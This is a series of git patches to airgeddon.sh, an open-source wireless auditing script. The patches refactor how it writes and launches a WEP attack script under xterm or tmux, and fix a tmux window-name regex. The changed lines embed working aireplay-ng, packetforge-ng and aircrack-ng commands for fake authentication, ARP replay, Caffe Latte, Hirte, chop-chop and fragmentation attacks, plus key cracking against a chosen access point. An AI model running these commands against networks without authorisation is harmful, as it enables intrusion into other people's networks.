start_tmux_processes "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" + + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" wep_script_capture_pid="\${global_process_pid}" global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#FFFFFF" -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + else wep_script_capture_pid=$! - EOF - fi + fi + EOF cat >&6 <<-'EOF' wep_script_processes+=(${wep_script_capture_pid}) @@ -3312,24 +3300,16 @@ function set_wep_script() { if [[ -n ${wep_capture_pid_alive} ]] && [[ -z ${wep_fakeauth_pid_alive} ]]; then EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth" - get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" - wep_fakeauth_pid="\${global_process_pid}" - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#00FF00" -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' - wep_fakeauth_pid=$! - EOF - fi + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#00FF00\" -geometry ${g5_left1} -T \"Fake Auth\"" "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" + wep_fakeauth_pid="\${global_process_pid}" + global_process_pid="" + else + wep_fakeauth_pid=$! + fi + EOF cat >&6 <<-'EOF' wep_script_processes+=(${wep_fakeauth_pid}) @@ -3341,81 +3321,49 @@ function set_wep_script() { wep_to_be_launched_only_once=1 EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection" - get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" - wep_script_processes+=("\${global_process_pid}") - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FFFF00" -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_left2} -T \"Arp Broadcast Injection\"" "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + else wep_script_processes+=($!) - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" - get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" - wep_script_processes+=("\${global_process_pid}") - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & - EOF - fi + fi + EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + else wep_script_processes+=($!) - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" - get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" - wep_script_processes+=("\${global_process_pid}") - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#FFC0CB" -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF - fi + fi + EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + else wep_script_processes+=($!) - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" - get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" - wep_script_processes+=("\${global_process_pid}") - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#D3D3D3" -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & - EOF - fi + fi + EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + else wep_script_processes+=($!) - EOF - fi + fi + EOF cat >&6 <<-'EOF' write_wep_processes @@ -3442,24 +3390,16 @@ function set_wep_script() { wep_aircrack_launched=1 EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" - get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" - wep_aircrack_pid="\${global_process_pid}" - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#FFFF00" -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" + wep_aircrack_pid="\${global_process_pid}" + global_process_pid="" + else wep_aircrack_pid=$! - EOF - fi + fi + EOF cat >&6 <<-'EOF' wep_script_processes+=(${wep_aircrack_pid}) From de91274f578c6ee4ac3b27318dc57822b42132f4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Tue, 2 Apr 2019 07:46:37 +0530 Subject: [PATCH 110/148] Updated regex to parse tmux windows --- airgeddon.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 46958ed93..a77d18361 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2909,7 +2909,7 @@ function set_wep_key_script() { local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do - [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi @@ -8781,7 +8781,7 @@ function set_enterprise_control_script() { local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do - [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi @@ -9017,7 +9017,7 @@ function set_et_control_script() { local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do - [[ "\${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="\${BASH_REMATCH[1]}" + [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi @@ -13718,7 +13718,7 @@ function kill_tmux_windows() { local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do - [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" + [[ "${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="${BASH_REMATCH[1]}" if [ "${current_window_name}" = "${tmux_main_window}" ]; then continue fi From 77bc1ff81e188d46a5ae468c12b94b792ae306b3 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 2 Apr 2019 10:37:13 +0200 Subject: [PATCH 111/148] Some heredocs unneeded splits now merged. --- airgeddon.sh | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a77d18361..7c9bda919 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3025,9 +3025,7 @@ function set_wep_script() { #!/usr/bin/env bash AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}" global_process_pid="" - EOF - cat >&6 <<-EOF function manage_output() { xterm_parameters="\${1}" @@ -3073,9 +3071,7 @@ function set_wep_script() { done global_process_pid="\${process_pid}" } - EOF - cat >&6 <<-EOF #shellcheck disable=SC1037 #shellcheck disable=SC2164 #shellcheck disable=SC2140 @@ -3263,9 +3259,7 @@ function set_wep_script() { } wep_script_processes=() - EOF - cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" @@ -3330,9 +3324,7 @@ function set_wep_script() { else wep_script_processes+=($!) fi - EOF - cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" @@ -3341,9 +3333,7 @@ function set_wep_script() { else wep_script_processes+=($!) fi - EOF - cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" @@ -3352,9 +3342,7 @@ function set_wep_script() { else wep_script_processes+=($!) fi - EOF - cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" From 3228d1343a8cc51f6216c36945bcbc5d0df5f6a9 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 3 Apr 2019 10:06:14 +0530 Subject: [PATCH 112/148] WEP Heredocs - Minor code fix related to xterm process killing --- airgeddon.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0aebda2ae..db39a711b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190402 +#Date.........: 20190403 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3107,7 +3107,7 @@ function set_wep_script() { wep_chopchop_phase1_pid="\${global_process_pid}" global_process_pid="" else - wep_chopchop_phase1_pid=$! + wep_chopchop_phase1_pid=\$! fi EOF @@ -3122,7 +3122,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - wep_chopchop_phase2_pid=$! + wep_chopchop_phase2_pid=\$! fi EOF @@ -3142,7 +3142,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi EOF @@ -3184,7 +3184,7 @@ function set_wep_script() { wep_fragmentation_phase1_pid="\${global_process_pid}" global_process_pid="" else - wep_fragmentation_phase1_pid=$! + wep_fragmentation_phase1_pid=\$! fi EOF @@ -3199,7 +3199,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - wep_fragmentation_phase2_pid=$! + wep_fragmentation_phase2_pid=\$! fi EOF @@ -3219,7 +3219,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi EOF @@ -3266,7 +3266,7 @@ function set_wep_script() { wep_script_capture_pid="\${global_process_pid}" global_process_pid="" else - wep_script_capture_pid=$! + wep_script_capture_pid=\$! fi EOF @@ -3301,7 +3301,7 @@ function set_wep_script() { wep_fakeauth_pid="\${global_process_pid}" global_process_pid="" else - wep_fakeauth_pid=$! + wep_fakeauth_pid=\$! fi EOF @@ -3322,7 +3322,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" @@ -3331,7 +3331,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" @@ -3340,7 +3340,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi manage_output "-hold -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" @@ -3349,7 +3349,7 @@ function set_wep_script() { wep_script_processes+=("\${global_process_pid}") global_process_pid="" else - wep_script_processes+=($!) + wep_script_processes+=(\$!) fi EOF @@ -3385,7 +3385,7 @@ function set_wep_script() { wep_aircrack_pid="\${global_process_pid}" global_process_pid="" else - wep_aircrack_pid=$! + wep_aircrack_pid=\$! fi EOF From 0c005afb28574fcdbf2b5695af2e9db24193d509 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 3 Apr 2019 10:07:58 +0530 Subject: [PATCH 113/148] WEP Heredocs - Minor code fix for WEP Key Decrypted xterm window to properly run passed command line arguments --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index db39a711b..c74e99877 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2994,7 +2994,7 @@ function set_wep_key_script() { window_position="${g5_topright_window}" sleep 0.5 - manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;eval \"\${wep_key_cmd}\"" "WEP Key Decrypted" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;eval \\\\\"\${wep_key_cmd}\\\\\"" "WEP Key Decrypted" #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "\${window_position}" -T "WEP Key Decrypted" -e "eval \"\${wep_key_cmd}\"" > /dev/null 2>&1 & EOF From 2f5755c21918f607a6f7d31ec8f40ae9ae157b8e Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 3 Apr 2019 20:07:45 +0530 Subject: [PATCH 114/148] WEP Heredocs - Code fix for xterm/tmux WEP Key Decrypted Window --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index c74e99877..955126dde 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2994,7 +2994,7 @@ function set_wep_key_script() { window_position="${g5_topright_window}" sleep 0.5 - manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;eval \\\\\"\${wep_key_cmd}\\\\\"" "WEP Key Decrypted" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "\${window_position}" -T "WEP Key Decrypted" -e "eval \"\${wep_key_cmd}\"" > /dev/null 2>&1 & EOF From ca63b644d57cc39c166c924ba65965ce7041fdd4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 4 Apr 2019 01:08:09 +0530 Subject: [PATCH 115/148] WEP Heredocs - Minor code fixes --- airgeddon.sh | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 955126dde..913e00ec2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190403 +#Date.........: 20190404 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3137,7 +3137,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3179,7 +3179,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (1/3)\"" "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}" wep_fragmentation_phase1_pid="\${global_process_pid}" global_process_pid="" @@ -3198,7 +3198,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_fragmentation_phase2_pid=\$! fi EOF @@ -3214,7 +3214,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3261,7 +3261,7 @@ function set_wep_script() { wep_script_processes=() manage_output "-bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" wep_script_capture_pid="\${global_process_pid}" global_process_pid="" @@ -3296,7 +3296,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#00FF00\" -geometry ${g5_left1} -T \"Fake Auth\"" "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" wep_fakeauth_pid="\${global_process_pid}" global_process_pid="" @@ -3317,7 +3317,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_left2} -T \"Arp Broadcast Injection\"" "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3326,7 +3326,7 @@ function set_wep_script() { fi manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3335,7 +3335,7 @@ function set_wep_script() { fi manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" 